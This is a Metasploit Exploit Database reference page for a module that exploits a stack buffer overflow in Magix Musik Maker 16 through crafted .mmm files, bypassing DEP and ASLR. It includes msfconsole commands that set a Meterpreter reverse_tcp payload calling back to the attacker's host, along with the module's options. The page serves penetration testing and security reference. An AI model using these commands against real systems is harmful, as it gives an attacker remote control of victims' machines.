Magix Musik Maker 16 .mmm Stack Buffer Overflow | Metasploit Exploit Database (DB)

Magix Musik Maker 16 .mmm Stack Buffer Overflow

This module exploits a stack buffer overflow in Magix Musik Maker 16. When opening a specially crafted arrangement file (.mmm) in the application, an unsafe strcpy() will allow you to overwrite a SEH handler. This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7. Egghunter is used, and might require up to several seconds to receive a shell.

Search Other Modules


Exploit Rank

  • Good

Exploit Authors

  • acidgen < >
  • corelanc0d3r < peter.ve [at] corelan.be >

Vulnerability References


Exploit Targets

  • 0 - Windows Universal DEP & ASLR Bypass (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/magix_musikmaker_16_mmm
msf exploit(magix_musikmaker_16_mmm) > show payloads
msf exploit(magix_musikmaker_16_mmm) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(magix_musikmaker_16_mmm) > set LHOST [MY IP ADDRESS]
msf exploit(magix_musikmaker_16_mmm) > exploit


Exploit Module Options

FILENAME mmm file (default: msf.mmm)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session